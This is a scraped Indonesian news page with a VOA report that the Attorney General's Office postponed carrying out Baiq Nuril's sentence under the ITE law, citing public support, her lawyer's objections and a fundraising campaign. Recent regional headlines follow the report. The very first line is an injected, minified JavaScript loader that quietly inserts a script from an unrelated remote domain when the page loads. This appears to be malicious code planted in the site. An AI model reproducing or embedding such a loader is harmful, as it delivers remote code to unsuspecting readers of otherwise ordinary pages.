(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Kejagung Tunda Eksekusi Baiq Nuril


Terus meluasnya dukungan bagi Baiq Nuril Makmun, mantan guru honorer SMAN Mataram, NTB, yang menjadi korban pelecehan kekerasan seksual dan divonis bersalah melanggar UU Informasi dan Transaksi Elektronik ITE, mendorong Kejaksaan Agung untuk menunda eksekusi yang sedianya dilakukan pada hari Rabu (21/11).

“Melihat aspirasi yang berkembang di masyarakat terkait dengan persepsi keadilannya, maka, untuk itu eksekusi terhadap Baiq Nuril yang telah dinyatakan bersalah menurut putusan Mahkamah Agung yang telah memiliki kekuatan hukum tetap, eksekusinya kita tunda. Kita memberikan kesempatan pada yang bersangkutan untuk mengajukan peninjauan kembali,” demikian ujar Mukri, Kapuspenkum Kejaksaan Agung, Senin (19/11).

Sebelumnya Kejaksaan Negeri Mataram, Jumat lalu (16/11) telah melayangkan surat pemanggilan kepada Baiq Nuril untuk datang dan menjalani eksekusi hari Rabu (21/11).

Kuasa hukum Baiq Nuril, Joko Jumadi kepada VOA Minggu malam (18/11) mengatakan akan datang memenuhi panggilan itu, tetapi akan langsung menyampaikan perlawanan.

‘’Hari Rabu nanti (21/11) kami akan datang, tetapi akan melakukan perlawanan agar Baiq Nuril tidak dieksekusi karena salinan putusan itu belum ada. Saya akan datang untuk menghormati panggilan yang diberikan, tetapi kami juga minta Kejaksaan Agung untuk menghormati hak klien kami karena sesuai aturan hukum eksekusi itu dilakukan dengan menggunakan salinan putusan, yang hingga kini belum kami terima,” jelasnya.

Dukungan kuat mengalir bagi Baiq Nuril, tidak saja dari berbagai lembaga bantuan hukum dan badan di tingkat nasional seperti Komnas Perempuan dan lain-lain, tetapi juga perorangan.

Sebuah permohonan kepada Presiden Joko Widodo untuk memberikan amnesti kepada Baiq Nuril dan seruan penundaan eksekusi sudah ditandatangani oleh ratusan tokoh, terutama aktivis perempuan. Upaya mengumpulkan donasi yang dilakukan lewat https://kitabisa.com/saveibunuril untuk membantu membayar denda 500 juta rupiah yang dikenakan terhadap Baiq Nuril, hingga laporan ini disampaikan sudah mencapai 310 juta rupiah. (em)


Desy Arfianty

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

12 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

12 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

12 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

16 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

16 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

18 jam ago

This website uses cookies.